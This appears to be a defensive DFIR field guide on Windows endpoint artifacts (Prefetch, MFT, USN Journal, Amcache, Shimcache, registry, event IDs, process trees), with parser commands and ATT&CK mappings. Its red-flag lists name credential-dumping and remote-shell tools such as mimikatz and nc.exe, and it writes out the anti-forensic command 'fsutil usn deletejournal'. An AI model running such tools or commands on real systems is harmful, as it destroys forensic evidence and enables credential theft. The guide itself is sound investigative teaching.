The **facts are identical** — same timestamps, same confidence level, same conclusion. What changed: event IDs and GUIDs became "a built-in Windows credential-recovery feature" and "the master key used to issue employee login sessions"; the DCSync technical significance became "the attacker could potentially have logged in as any employee." Nothing in the executive version is technically inaccurate — it's the same finding at a different, appropriate level of abstraction, ending in a concrete decision request rather than trailing off after the technical description.

> **The most common failure in both directions**
>
> Writing the executive summary as a shortened version of the technical section (still full of event IDs and GUIDs, just fewer of them) fails the executive reader just as surely as omitting the technical section entirely fails the analyst who has to act on the report six months later. They are not the same document at different lengths — they're the same facts, restructured for what each reader needs to do with them.

2.11.5 Referenced From

- Module 0: Foundations
- EPROCESS Internals
- Malware Triage Methodology
- Mutex (Mutant) Analysis

- Thread Analysis
- Detection Engineering: From Hunt Query to Standing Detection
- File Carving
- Log & Artifact Recovery
- Windows IR Quick Reference

2.11.6 Sources

- SANS Digital Forensics Certifications overview (FOR508 — incident report writing and executive communication)
- Diamond Model and Timeline Construction & Correlation — the analytical structures this page's reporting method is built on top of

August 3, 2026

3. Windows Endpoint Forensics

Windows Endpoint

3.1 Module 1: Windows Endpoint Forensics

Applies uniformly across workstations, laptops, servers, and VMs — anywhere Windows runs, on-prem or in the cloud. Domain Controller-specific artifacts (NTDS.dit, SYSVOL, replication metadata) live in Module 2 instead, since they don't exist on a normal member server.

3.1.1 What's here

This module is organized by evidence category. Every page follows the same template: **what it is → normal baseline → red flags → how to collect it → ATT&CK mapping.**

Category	Covers
Filesystem artifacts	MFT, USN Journal, Prefetch, Amcache, Shimcache/AppCompatCache, SRUM, LNK files & Jump Lists, Volume Shadow Copies
Registry artifacts	SAM/SYSTEM/SOFTWARE hives, NTUSER.DAT, UsrClass.dat, ShellBags, UserAssist, BAM/DAM
Event logs	Security, System, Application, Sysmon, and the specific Event IDs worth alerting on
Process trees	What normal parent/child relationships look like for core Windows processes, and the specific deviations that indicate process spoofing or injection

3.1.2 Module status: complete

- [x] Artifact: Prefetch
- [x] Artifact: $MFT & Timestomping
- [x] Artifact: USN Journal
- [x] Artifact: Amcache
- [x] Artifact: Shimcache
- [x] Artifact: Registry Hives — Run-key persistence specifically lives in the Persistence Catalog, not here
- [x] Artifact: ShellBags
- [x] Artifact: UserAssist
- [x] Event Log Key IDs Reference
- [x] Baseline Process Trees

Where to start

New to this guide? Read Prefetch first — it's the template every artifact page here follows. Then Baseline Process Trees is arguably the single highest-value page in this module: most investigations start with "is this process tree normal?"

3.1.3 Referenced From

- Module 2: Active Directory & Domain Controllers
- Module 4: PowerShell Forensics

- Enterprise DFIR Field Guide

August 3, 2026

T1070 **T1204** **Windows Endpoint**

3.2 Artifact: Prefetch

3.2.1 What it is / where it lives

Windows Prefetch is a performance feature, not a security feature — which is exactly why it's forensically valuable: the OS creates it automatically, with no intent to log anything, so it's hard for an attacker to know to avoid leaving a trace here.

- **Location:** `C:\Windows\Prefetch\*.pf`
- **Naming:** `EXECUTABLENAME-HASH.pf`, where `HASH` is derived from the full path the executable was launched from — the same binary launched from two different locations produces two different Prefetch files.
- **Retention:** the Prefetch folder isn't unlimited. Windows 8 and later retain up to 1,024 of these files; Windows 7 and earlier cap out at 128. Once full, the oldest entries get recycled out.
- **What's inside:** the modern format (Windows 8+) tracks up to eight separate execution timestamps in a single file, plus a run count and a list of files/directories the executable referenced in roughly its first ten seconds of activity — DLLs loaded, config files opened, sometimes arguments a script pulled in.

3.2.2 Normal baseline

Every Windows client (workstation/laptop) should show Prefetch entries for common OS binaries, the organization's standard software (browsers, Office, the EDR agent itself), and IT-deployed tools. Windows Server historically ships with application-level prefetching either disabled or limited by default — check `HKLM\SYSTEM\CurrentControlSet\Control\SessionManager\MemoryManagement\PrefetchParameters\EnablePrefetcher` (0 = disabled, 1 = application-launch prefetching, 2 = boot prefetching, 3 = both) before assuming a sparse Prefetch folder on a server means something was hidden — it may just mean it was never enabled.

3.2.3 Red flags

- A `.pf` file for a tool with no legitimate business purpose on that host: `mimikatz.exe`, `procdump.exe`, `psexec.exe` outside sanctioned admin workflows, `nc.exe` / `ncat.exe`.
- Multiple `.pf` files for the *same executable name* with *different hashes* — the same binary launched from several different paths, a common pattern when malware is staged and re-copied across directories.
- Execution from a path that shouldn't be executing anything: `%TEMP%`, `\AppData\Local\Temp\`, `\Downloads\`, a user's `Roaming` profile folder.
- A single, isolated execution of a tool that should either never run, or should run constantly.
- **Absence where presence is expected.** If Prefetch should be enabled on a host and the directory is sparse or the timestamps stop abruptly, treat anti-forensic activity (deliberate Prefetch clearing) as a live hypothesis, not just bad luck.

Baseline

Entries matching known-deployed software, launched from expected paths, with run counts consistent with normal usage patterns.

Red flag

Known offensive tooling, execution from a temp/staging path, or split hashes for one executable name.

3.2.4 How to collect it

Prefetch is a disk artifact — pull it during standard triage collection, not memory acquisition. Eric Zimmerman's `PECmd` is the de facto standard parser:

```
PECmd.exe -d C:\Windows\Prefetch --csv C:\triage\output
```

Run it against the whole directory rather than a single file, and export to CSV/JSON so results drop straight into a timeline tool. Collect Prefetch *before* running other live-response tooling on the host — every process you launch is itself creating or updating `.pf` files, and can push older, more relevant entries past the retention cap.

3.2.5 ATT&CK mapping

Prefetch isn't a technique itself — it's a **data source** supporting detection of T1204 (User Execution) and, practically, any technique that involves running a binary. Deliberate clearing of Prefetch to hide execution evidence falls under T1070 (Indicator Removal).

> **Practice this**
>
> Prefetch Triage puts nine simulated `PECmd` entries in front of you and asks you to find the staged tooling yourself before revealing the answer.

3.2.6 Referenced From

- Timeline Construction & Correlation
- Artifact: Amcache
- Module 1: Windows Endpoint Forensics
- Artifact: Shimcache (AppCompatCache)
- Module 4: PowerShell Forensics
- PowerShell Forensics: Logging
- The Entra Connect Server: A Target in Its Own Right
- Playbook: Domain Compromise / Lateral Movement
- Playbook: Ransomware
- Playbook: Web Shell / Server Compromise
- File Carving
- Case Study: Domain Compromise, End to End
- Practice Drills
- Drill: Prefetch Triage

3.2.7 Sources

- SANS Digital Forensics Certifications overview (FOR500: Windows Forensic Analysis)
- SANS Internet Storm Center — Forensic Value of Prefetch
- SANS — A Prescription for Windows Prefetch Analysis
- Eric Zimmerman's forensic tools (PECmd)

August 3, 2026

T1070 **T1070.006** **Windows Endpoint**

3.3 Artifact: $MFT & Timestomping

3.3.1 What it is / where it lives

The Master File Table (`$MFT`) is the index NTFS uses to track every file and directory on a volume — it isn't a normal file you can just open, but it's extractable with any forensic imaging or triage tool. Every object on the volume gets at least one MFT record (typically 1024 bytes), and each record carries several "attributes." Two matter enormously for DFIR:

- **`$STANDARD_INFORMATION` (SI)** — the MACB timestamps (Modified, Accessed, Changed, Born/Created) that most tools, including Windows Explorer's own Properties dialog, show by default. These are easy for a user-mode tool to modify.
- **`$FILE_NAME` (FN)** — a *second*, independent set of MACB timestamps, updated far more restrictively by the OS (normally only at creation and on rename/move). Ordinary timestomping utilities that only touch the file via standard Win32 APIs modify SI but can't easily touch FN.

3.3.2 Normal baseline

For a legitimately created file, SI and FN timestamps sit close together — FN's creation time is essentially never *later* than SI's, and both roughly track when the file actually arrived on the volume.

3.3.3 Red flags

- **SI creation time earlier than FN creation time.** This is the textbook timestomping signature: a tool backdated the visible (SI) timestamp but couldn't touch the harder-to-reach FN timestamp underneath it.
- **A file's SI timestamp that doesn't fit its neighbors.** MFT records created close together in time (adjacent record numbers) should have close creation timestamps. A record with a wildly out-of-sequence SI creation time, sitting among records from a completely different period, is worth a second look.
- **A deleted file's MFT record still readable with intact metadata.** NTFS marks a record "available for reuse" on deletion but doesn't necessarily zero it immediately — a freshly deleted malicious binary's original name, size, and timestamps can often still be recovered.

Baseline

SI and FN timestamps consistent with each other and with the surrounding MFT record sequence.

Red flag

SI creation time predates FN creation time, or a timestamp badly out of sequence with neighboring records.

3.3.4 How to collect it

Extract `$MFT` as part of standard triage (it's accessible via most imaging tools, or directly via a raw volume read). Parse with Eric Zimmerman's `MFTECmd`, which outputs both SI and FN timestamp sets side by side specifically so they can be diffed:

```
MFTECmd.exe -f C:\triage\$MFT --csv C:\triage\output
```

3.3.5 ATT&CK mapping

Directly maps to T1070.006 (Indicator Removal: Timestomp). More broadly, `$MFT` is a foundational **data source** for filesystem timeline reconstruction across nearly every other technique in this guide.

3.3.6 Referenced From

- ATT&CK Coverage Map
- Timeline Construction & Correlation
- Module 1: Windows Endpoint Forensics
- Artifact: Shimcache (AppCompatCache)
- Artifact: USN Journal
- Alternate Data Streams (ADS)
- File Carving
- Anti-Forensics & Data Recovery
- Memory-Based File Recovery
- Glossary

3.3.7 Sources

- SANS Digital Forensics Certifications overview (FOR500: Windows Forensic Analysis — NTFS/MFT internals is a core module)
- Eric Zimmerman's forensic tools (MFTECmd)

August 3, 2026

T1070 **T1070.004** **Windows Endpoint**

3.4 Artifact: USN Journal

3.4.1 What it is / where it lives

The Update Sequence Number (USN) Journal is NTFS's own change log — it records essentially every modification made to files and directories on a volume: creates, deletes, renames (both old and new name), data overwrites, and attribute/security changes, each tagged with a reason code and a timestamp.

- **Location:** the `$J` alternate data stream of `$Extend\$UsnJrnl`, a hidden system metadata file at the volume root.
- **Behavior:** it's a bounded ring buffer, not a permanent log. Once the journal reaches its configured size, the oldest records are overwritten to make room for new ones — so it only ever covers a rolling recent window, not the volume's full history.

3.4.2 Normal baseline

A continuous stream of small, routine entries reflecting normal OS and application activity — temp file writes, browser cache updates, application auto-save behavior, Windows Update housekeeping.

3.4.3 Red flags

- **A tight create → rename → delete sequence for the same short-lived file.** This is a classic staging pattern: drop a payload under an innocuous name, rename it, execute it, then delete it — all within seconds. The USN Journal often catches this even when nothing else does.
- **A USN record for a file with no corresponding current `$MFT` entry.** That combination is strong evidence the file was deliberately deleted — sometimes the *only* remaining evidence it ever existed at all.
- **A gap or apparent reset in the journal's sequence numbers.** The journal can be deliberately cleared (`fsutil usn deletejournal`); an unexplained discontinuity is itself worth investigating as possible anti-forensic activity.

Baseline

Continuous, unremarkable file-system housekeeping activity consistent with installed software and normal user behavior.

Red flag

Rapid create-rename-delete cycles, orphaned entries with no matching MFT record, or an unexplained journal discontinuity.

3.4.4 How to collect it

Extract `$J` alongside `$MFT` during triage — the two are usually parsed together. Eric Zimmerman's `MFTECmd` handles both:

```
MFTECmd.exe -f "C:\triage\$J" --csv C:\triage\output
```

Collect this early: because it's a rolling buffer, ongoing system activity (including your own live-response tooling) can push the exact window you need out of scope.

3.4.5 ATT&CK mapping

Primary evidence source for T1070.004 (Indicator Removal: File Deletion) — proving a file existed and was removed even when the file itself, and possibly its Prefetch/Amcache traces, are gone.

3.4.6 Referenced From

- Module 1: Windows Endpoint Forensics
- Playbook: Data Exfiltration
- Playbook: Insider Threat
- Alternate Data Streams (ADS)
- File Carving
- Anti-Forensics & Data Recovery
- Log & Artifact Recovery

3.4.7 Sources

- SANS Digital Forensics Certifications overview (FOR500 / FOR508 — filesystem journal analysis)
- Eric Zimmerman's forensic tools (MFTECmd)

August 3, 2026

T1204 **Windows Endpoint**

3.5 Artifact: Amcache

3.5.1 What it is / where it lives

Amcache is a registry hive — not a "normal" registry hive loaded at boot, but a standalone `.hve` file — that catalogs executables Windows has seen on the system, including ones that have since been deleted.

- **Location:** `C:\Windows\AppCompat\Programs\Amcache.hve`
- **Format has changed across Windows versions.** Windows 7/8 use an older `Root\File` / `Root\Programs` structure. Windows 10 and 11 use a richer structure under `Root\InventoryApplication`, `Root\InventoryApplicationFile`, `Root\InventoryDriverBinary`, and `Root\InventoryApplicationShortcut`.
- **What's inside (modern format):** full executable path, file size, a **SHA-1 hash**, binary architecture (x86/x64), the compiler link timestamp, and — for entries tied to installed software — publisher and version metadata from `InventoryApplication`.

3.5.2 Normal baseline

A healthy, long-lived Windows desktop accumulates thousands of `InventoryApplicationFile` records over its lifetime — OS binaries, installed software, and one-off utilities a user or admin has run, most tied back to a corresponding `InventoryApplication` install record.

3.5.3 Red flags

- A `SHA-1` hash matching known-malicious binaries in threat-intel sources — Amcache is one of the only artifacts that preserves a cryptographic hash of a file *after it's been deleted*.
- An `InventoryApplicationFile` entry with **no** corresponding `InventoryApplication` record — the file was present and executed, but never went through a normal install process, consistent with a dropped/staged tool rather than legitimate software.
- Execution from a path with no business justification, paired with a `LinkDate` (compile timestamp) that's suspiciously fresh relative to when it appeared on the host.
- **Unusually clean data.** A hive with only a handful of entries and no orphaned file records doesn't match how a real, months-old Windows installation behaves — a genuine desktop accumulates thousands of scattered, imperfect records over its lifetime, so suspiciously tidy data is itself worth questioning.

Baseline

A large, organically messy set of records matching known-installed software plus ordinary one-off tool usage, most tied to `InventoryApplication` entries.

Red flag

Known-bad SHA-1 hashes, orphaned `InventoryApplicationFile` entries with no install record, or a suspiciously sparse hive.

3.5.4 How to collect it

Amcache.hve is normally locked while the OS is running — pull it from an offline image, a triage collection tool, or a Volume Shadow Copy. Parse with Eric Zimmerman's `AmcacheParser`:

```
AmcacheParser.exe -f C:\triage\Amcache.hve --csv C:\triage\output
```

> **One important limitation**
>
> The SHA-1 hash is only computed over the **first ~30 MB** of a file. For anything larger, the recorded hash won't match the file's true full-content hash — don't be surprised when a large binary's Amcache hash doesn't turn up a hit on VirusTotal.

Treat a lone Amcache hit as a starting point for further digging, not a finished conclusion — it becomes solid once corroborated by something like a matching Prefetch entry or a Security 4688 process-creation event.

3.5.5 ATT&CK mapping

Data source supporting T1204 (User Execution) and, via `InventoryDriverBinary`, driver-based persistence and rootkit investigation more broadly.

3.5.6 Referenced From

- Timeline Construction & Correlation
- Module 1: Windows Endpoint Forensics
- Artifact: Registry Hives
- Artifact: Shimcache (AppCompatCache)
- The Entra Connect Server: A Target in Its Own Right
- Playbook: Domain Compromise / Lateral Movement
- Playbook: Ransomware
- Playbook: Web Shell / Server Compromise
- File Carving
- Drill: Prefetch Triage

3.5.7 Sources

- SANS Digital Forensics Certifications overview (FOR500 / FOR508 — execution-evidence artifacts)
- Eric Zimmerman's forensic tools (AmcacheParser)

August 3, 2026

T1070 **T1070.006** **T1204** **Windows Endpoint**

3.6 Artifact: Shimcache (AppCompatCache)

3.6.1 What it is / where it lives

Shimcache — formally the Application Compatibility Cache — tracks executables Windows has evaluated for compatibility shimming. It's one of the most frequently cited Windows artifacts in DFIR, and also one of the most frequently misused, because what it actually proves has changed across Windows versions.

- **Location:** `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache`
- **Capacity:** roughly 1,024 entries on modern Windows; oldest entries are evicted once full.
- **Persistence timing:** the cache lives in memory while the system runs and is only flushed to the registry **at shutdown**. A hard power-off or an abrupt VM termination can lose the most recent entries entirely.
- **Contents:** file path, file size, and a timestamp — and this is where the misunderstanding usually starts.

3.6.2 The nuance that matters most

The recorded timestamp is the executable's **last-modified time** (its `$STANDARD_INFORMATION` mtime), not the time it ran. A Shimcache entry from three years ago doesn't mean an attacker had access three years ago — it means the file's on-disk modified timestamp reads three years ago.

The bigger issue is the **execution flag**. Windows XP's Shimcache reliably indicated actual execution. Vista through 8.1 kept a usable-but-weaker "insert flag." **Starting with Windows 10, the execution flag was removed entirely** — a Shimcache entry on a Windows 10/11 host tells you a file was *examined* (which, in practice, often but not always means it ran — even being viewed in File Explorer can trigger an entry), not that it was confirmed to execute.

3.6.3 Normal baseline

A large, steadily-populated cache reflecting normal software installed and used on the host, with modified timestamps that track sensibly against when that software was actually deployed.

3.6.4 Red flags

- The same filename appearing with **multiple different modified timestamps** — a strong renaming/re-staging indicator, since re-modifying or renaming a binary forces a fresh Shimcache entry.
- A **recorded modified timestamp that doesn't match the actual file's current metadata** on disk — evidence the file's timestamps were altered after the Shimcache entry was written (a timestomping signal, cross-check against `$MFT`).
- Known offensive tooling present in the cache at all, regardless of what the (unreliable) execution flag says — treat presence as "worth investigating further," never dismiss it just because Windows 10/11 won't confirm execution for you.

Baseline

Entries consistent with known-installed software, with modified timestamps that make sense against deployment history.

Red flag

The same executable name recurring with different modified timestamps, a mismatch against the file's actual current metadata, or presence of known-bad tooling.

3.6.5 How to collect it

Extract the `AppCompatCache` registry value from the `SYSTEM` hive (from an offline image, since the live value in memory may be more current than what's on disk pre-shutdown) and parse with Eric Zimmerman's `AppCompatCacheParser`:

```
AppCompatCacheParser.exe -f C:\triage\SYSTEM --csv C:\triage\output
```

> **Never rely on Shimcache alone for an execution claim**
>
> On Windows 10/11, corroborate every Shimcache-based execution claim with Prefetch, Amcache, or an Event ID 4688 / Sysmon Event ID 1 process-creation record. Shimcache alone proves *presence*, not *execution*, on modern Windows.

3.6.6 ATT&CK mapping

Data source supporting T1204 (User Execution) (with the caveats above) and useful corroboration for T1070.006 (Timestomp) via the modified-timestamp mismatch pattern.

3.6.7 Referenced From

- Module 1: Windows Endpoint Forensics
- Process Analysis: Finding What's Hidden
- Glossary

3.6.8 Sources

- SANS Digital Forensics Certifications overview (FOR500 / FOR508 — execution-evidence artifacts)
- Eric Zimmerman's forensic tools (AppCompatCacheParser)

August 3, 2026

T1003 **Windows Endpoint**

3.7 Artifact: Registry Hives

3.7.1 What it is / where it lives

This page covers the hives themselves as artifacts — what they are, where they live, and how to get into them offline. Specific *persistence* mechanisms stored inside the registry (Run keys, services, etc.) are cataloged separately in the Persistence Catalog so they aren't explained twice.

Hive	Disk location	Loaded as
`SYSTEM`	`%SystemRoot%\System32\config\SYSTEM`	`HKLM\SYSTEM`
`SOFTWARE`	`%SystemRoot%\System32\config\SOFTWARE`	`HKLM\SOFTWARE`
`SAM`	`%SystemRoot%\System32\config\SAM`	`HKLM\SAM`
`SECURITY`	`%SystemRoot%\System32\config\SECURITY`	`HKLM\SECURITY`
`NTUSER.DAT`	`C:\Users\<username>\NTUSER.DAT`	`HKCU` (per logged-on user)
`UsrClass.dat`	`C:\Users\<username>\AppData\Local\Microsoft\Windows\UsrClass.dat`	`HKCU\Software\Classes`

`Amcache.hve` is a standalone hive with its own dedicated page since its structure and forensic use are different enough to warrant separate treatment.

3.7.2 A detail worth knowing: ControlSets

`SYSTEM` typically contains multiple `ControlSet00N` keys (backup/alternate configurations) plus `CurrentControlSet`, which isn't a real key — it's a pointer. Check `SYSTEM\Select\Current` to find out which numbered `ControlSet` is actually active; when working from an offline hive, `CurrentControlSet` won't resolve on its own, so you need this value to know which `ControlSet00N` to actually examine.

3.7.3 Normal baseline

All hives present, intact, and loadable without repair. `SYSTEM\Select\Current` pointing at a `ControlSet` that exists and looks complete.

3.7.4 Red flags

- A hive that's missing, zero-length, or requires repair to load — Windows hives don't normally end up in this state on their own.
- Recent modification timestamps on hive files (`SYSTEM`, `SOFTWARE`, `SAM`) that don't correlate with any legitimate patching, configuration, or update activity around that time.
- Discrepancies between `ControlSet00N` keys — a persistence mechanism or configuration change present in one ControlSet but not another can indicate an attacker made a change that didn't fully propagate, or is trying to hide a change in a non-active set.

Baseline

All expected hives present and loadable, with `CurrentControlSet` resolving cleanly to a complete, unremarkable `ControlSet00N`.

Red flag

Missing or corrupted hives, unexplained modification timestamps, or inconsistency between ControlSets.

3.7.5 How to collect it

Hives are locked while Windows is running — pull them from an offline image, a live triage collection tool, or a Volume Shadow Copy. Eric Zimmerman's `Registry Explorer` (GUI) and `RECmd` (command line) are the standard tools for offline loading and bulk parsing/searching across hives.

3.7.6 ATT&CK mapping

The registry is a **data source**, not a technique — it underlies a huge share of the Persistence Catalog (Run keys, services, COM hijacking, and more all live here), plus credential material in `SAM` / `SECURITY` relevant to T1003 (OS Credential Dumping).

3.7.7 Referenced From

- Module 1: Windows Endpoint Forensics

3.7.8 Sources

- SANS Digital Forensics Certifications overview (FOR500 — registry forensics is a core module; see also the SANS Windows Registry Forensics poster)
- Eric Zimmerman's forensic tools (Registry Explorer, RECmd)

August 3, 2026

T1083 **Windows Endpoint**

3.8 Artifact: ShellBags

3.8.1 What it is / where it lives

Every time a user browses a folder in Windows Explorer, Explorer remembers how that folder was displayed — icon size, sort order, window position — and stores that preference in the registry. That's the intended purpose. The forensic value is a side effect: ShellBags leave a breadcrumb trail of **every folder a user has ever opened**, including folders on removable drives, network shares, and even inside archive files — and that trail can survive long after the folder itself is gone.

- **Location:** `UsrClass.dat` (Windows 7 and later) under `Local Settings\Software\Microsoft\Windows\Shell\BagMRU` and `...\Shell\Bags`. Older systems keep some of this in `NTUSER.DAT` instead.
- `BagMRU` tracks the folder hierarchy itself (which folders were opened, and in what nested order).
- `Bags` tracks the view settings tied to each folder referenced in BagMRU.
- Folder paths are stored as binary shell item ID lists, not plain strings — this isn't something you read by eye in a registry viewer; it needs a dedicated parser.

3.8.2 Normal baseline

Entries reflecting the user's ordinary folder-browsing habits — Documents, Downloads, project folders, and so on — consistent with their role and normal day-to-day file access.

3.8.3 Red flags

- ShellBags referencing folders on a **removable or external volume** that isn't otherwise accounted for in the investigation — this is one of the few artifacts that can prove a specific folder structure existed on a USB drive that's since been disconnected, reformatted, or lost.
- Evidence of browsing to **another user's profile**, an administrative share, or a sensitive folder outside the user's normal scope of work.
- A folder structure consistent with staging data for exfiltration (a newly created, oddly-named folder under a user profile, browsed shortly before a large outbound transfer).

Baseline

Folder access consistent with the user's normal role and known devices.

Red flag

Browsing history for removable media, other users' data, or administrative locations with no legitimate reason.

3.8.4 How to collect it

Pull `UsrClass.dat` (and `NTUSER.DAT` for older data) from the user's profile during triage. Eric Zimmerman's `ShellBags Explorer` is the standard tool — it decodes the binary shell item structures into a readable folder tree with timestamps.

3.8.5 ATT&CK mapping

Data source supporting T1083 (File and Directory Discovery) and, in insider-threat scenarios, general proof of access to or knowledge of a specific location.

3.8.6 Referenced From

- Module 1: Windows Endpoint Forensics
- Playbook: Data Exfiltration
- Playbook: Insider Threat

3.8.7 Sources

- SANS Digital Forensics Certifications overview (FOR500 — registry/shell artifact analysis)
- Eric Zimmerman's forensic tools (ShellBags Explorer)

August 3, 2026

T1204 **Windows Endpoint**

3.9 Artifact: UserAssist

3.9.1 What it is / where it lives

UserAssist tracks programs launched through the Windows GUI shell — double-clicking a shortcut, launching from the Start Menu — which makes it a useful complement to artifacts like Prefetch and Amcache that capture execution more broadly, including command-line and scripted launches.

- **Location:** `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`
- Entries are organized under several GUID-named subkeys, each representing a different category of shell-initiated activity (one bucket for shortcut/Start Menu launches, another for direct executable launches, and so on).
- **Every value name is ROT13-encoded** — the literal path or program identifier is rotated by 13 letters, a deliberate (if mild) obfuscation that any UserAssist-aware parser reverses automatically.
- Each entry stores a run count and a last-execution timestamp; newer Windows versions also track a focus count/focus time reflecting how long the window held focus.

3.9.2 Normal baseline

Entries matching the software a user is known to regularly use, launched via the Start Menu or desktop/taskbar shortcuts, with run counts consistent with their actual usage patterns.

3.9.3 Red flags

- After ROT13 decoding, an entry referencing a tool inconsistent with the user's role — especially administrative, remote-access, or offensive-security tooling on a standard user workstation.
- Execution from an unusual GUI-browsed location (a temp folder, a downloads subfolder) rather than a standard install path.
- A discrepancy between what a user *claims* they did and what UserAssist shows — for example, a user denying ever manually launching a tool that UserAssist records as GUI-launched multiple times.

Baseline

Decoded entries matching known, role-appropriate software with plausible run counts.

Red flag

Decoded entries showing unexpected tooling, launched from unusual locations, or contradicting a user's account of their own activity.

3.9.4 How to collect it

Pull `NTUSER.DAT` from the relevant user profile during triage. Eric Zimmerman's `RECmd` (with its UserAssist-specific batch definitions) or `Registry Explorer` will decode the ROT13 values automatically rather than requiring manual decoding.

3.9.5 ATT&CK mapping

Data source supporting T1204 (User Execution) — specifically the GUI-initiated subset of execution evidence.

3.9.6 Referenced From

- Module 1: Windows Endpoint Forensics

3.9.7 Sources

- SANS Digital Forensics Certifications overview (FOR500 — registry forensics)
- Eric Zimmerman's forensic tools (RECmd, Registry Explorer)

August 3, 2026

Windows Endpoint

3.10 Event Log Key IDs Reference

Windows generates enormous log volume; almost none of it matters most of the time. This page is the short list worth knowing by number, organized by what question each ID answers. Native Security/System log auditing requires the right audit policy (or GPO) to be enabled — several of these are silent by default. Sysmon requires deliberate installation and configuration but, once present, is usually richer than the native equivalent.

3.10.1 Logon activity (Security log)

Event ID	Meaning	Why it matters
4624	Successful logon	Baseline for all access; check the Logon Type field (2=interactive, 3=network, 10=RDP, etc.)
4625	Failed logon	Volume/pattern matters more than any single event — spikes indicate spraying/brute force
4648	Logon using explicit credentials	Classic `runas` signature; also appears in lateral movement with alternate creds
4672	Special privileges assigned to new logon	Fires alongside 4624 when an admin-equivalent account logs on
4634 / 4647	Logoff	Useful for bounding a session's actual duration

3.10.2 Process activity

Event ID	Source	Meaning
4688	Security	Process creation — needs "Audit Process Creation" enabled, and a separate setting to capture the full command line
Sysmon 1	Sysmon	Process creation with hash, full command line, and parent process by default — richer than 4688 out of the box
Sysmon 5	Sysmon	Process terminated
Sysmon 8	Sysmon	`CreateRemoteThread` — a strong injection indicator worth alerting on directly
Sysmon 10	Sysmon	`ProcessAccess` — critical for catching unusual handles opened to `lsass.exe`

3.10.3 Persistence & account changes (Security log)

Event ID	Meaning
4697	A service was installed on the system
7045 (System log)	New service installed — logged in the **System** log, so it's often available even without Security-log Object Access auditing turned on
4698	Scheduled task created
4720	User account created
4738	User account changed
4732 / 4728 / 4756	Member added to a local / global / universal security group
4719	System audit policy changed — an attacker disabling logging shows up here

3.10.4 Log tampering (treat as a top-priority alert)

Event ID	Meaning
1102	The Security log was cleared
104 (System log)	The System log was cleared

An attacker clearing logs is one of the loudest possible signals precisely because it's rare for anything legitimate to do it. Both of these deserve automatic, immediate alerting rather than routine review.

3.10.5 Filesystem & network (Sysmon)

Event ID	Meaning
Sysmon 3	Network connection
Sysmon 7	Image/DLL loaded
Sysmon 11	File created
Sysmon 13	Registry value set
Sysmon 22	DNS query

Native logs vs. Sysmon

Native Windows event logs are always present but often need specific audit policy configured to be useful (particularly 4688's command-line field). Sysmon requires deliberate deployment but generally logs more, and more usefully, out of the box — most mature environments run both.

Practice this

Event Log Story gives you six raw event IDs, no narration — reconstruct what happened before revealing the answer.

3.10.6 Referenced From

- Module 1: Windows Endpoint Forensics

- Log & Artifact Recovery
- Glossary
- DNS Analysis
- Practice Drills
- Drill: PowerShell Decode
- Drill: Prefetch Triage
- Drill: Registry Persistence Triage
- Windows IR Quick Reference

3.10.7 Sources

- SANS Digital Forensics Certifications overview (FOR500 / FOR508 — Windows event log analysis; see also the SANS Windows Logging Cheat Sheet)
- Sysmon documentation (Microsoft Sysinternals)

August 3, 2026

T1036 **T1055** **T1204** **Windows Endpoint**

3.11 Baseline Process Trees

Knowing what's abnormal requires knowing what's normal first. A handful of core Windows processes have parent/child relationships that essentially never legitimately vary — which makes deviations from them some of the highest-confidence detections available on an endpoint.

3.11.1 The normal boot-time tree

```
flowchart TD
    System["System (PID 4)"] --> smss1["smss.exe<br/>(session 0, spawns others then mostly exits)"]
    smss1 --> csrss["csrss.exe"]
    smss1 --> wininit["wininit.exe"]
    wininit --> services["services.exe<br/>(Service Control Manager)"]
    wininit --> lsass["lsass.exe"]
    wininit --> lsm["lsaiso.exe / lsm.exe"]
    services --> svchost["svchost.exe<br/>(many instances,<br/>grouped by -k)"]
    smss1 --> smss2["smss.exe<br/>(per-session instance)"]
    smss2 --> winlogon["winlogon.exe"]
    winlogon --> userinit["userinit.exe"]
    userinit --> explorer["explorer.exe<br/>(user shell)"]
    explorer --> apps["user-launched applications"]
```

3.11.2 The relationships worth memorizing

Process	Normal parent	Notes
`smss.exe`	`System` (PID 4)	The very first user-mode process; spawns a per-session copy of itself then mostly exits
`csrss.exe`	`smss.exe`	Should never have any other parent
`wininit.exe`	`smss.exe`	One instance, session 0
`services.exe`	`wininit.exe`	The Service Control Manager — parent to most `svchost.exe` instances
`lsass.exe`	`wininit.exe`	**Exactly one instance should ever exist.** Any other parent, or a second instance, is a serious red flag
`svchost.exe`	`services.exe`	Should always run with a `-k <group>` argument identifying its service group
`winlogon.exe`	`smss.exe` (per-session)	One per interactive session
`explorer.exe`	`userinit.exe`	The user shell; `userinit.exe` itself exits shortly after spawning it, so `explorer.exe` often shows as parentless in a live snapshot — that's normal, not suspicious, on its own

3.11.3 Red flags

- **`lsass.exe` with any parent other than `wininit.exe`, or more than one running instance.** This is one of the single highest-confidence process-tree detections available — legitimate Windows never does this.
- **`svchost.exe` with a parent other than `services.exe`**, or running without a `-k` group argument.
- **Office applications (`winword.exe`, `excel.exe`, `outlook.exe`) spawning `cmd.exe`, `powershell.exe`, or `wscript.exe` / `cscript.exe`.** Legitimate document workflows essentially never do this — it's a classic macro-based initial-access signature.
- **`explorer.exe` spawning `powershell.exe` with obfuscated or encoded arguments**, rather than a normal interactive prompt.
- **Any process with a Microsoft-signed name running from a non-standard path** — `C:\Users\...\svchost.exe` is not `svchost.exe`, it's malware borrowing a trusted name.

- **A short-lived parent process that immediately spawns a long-running child and exits**, especially where the parent itself came from an unusual source (a downloaded file, a script interpreter, a scheduled task) — a common pattern for masking a process's true origin.

Baseline

Every core system process has exactly the parent listed in the table above, running from its standard path.

Red flag

`lsass.exe` or `svchost.exe` with an unexpected parent, an Office app spawning a shell, or a system-process name running from a non-standard location.

3.11.4 How to check this

Live: Sysmon Event ID 1 records parent process explicitly and is far easier to query at scale than manually walking a process tree. Offline/memory: Volatility 3's `pstree` reconstructs the same relationships from a memory capture, including for processes that have since exited.

3.11.5 ATT&CK mapping

Process-tree anomalies are frequently the first observable for T1055 (Process Injection), T1036 (Masquerading), and initial-access techniques delivered via T1204 (User Execution) of a malicious document.

Practice this

Process Tree Triage hides one spoofed-parentage process in an otherwise-normal listing — see if you can spot it before checking the answer.

3.11.6 Referenced From

- Module 1: Windows Endpoint Forensics
- EPROCESS Internals
- Injection Techniques: What Each Looks Like in Memory
- LSASS Memory Analysis & Credential Theft
- Malware Triage Methodology
- Mutex (Mutant) Analysis
- Process Analysis: Finding What's Hidden
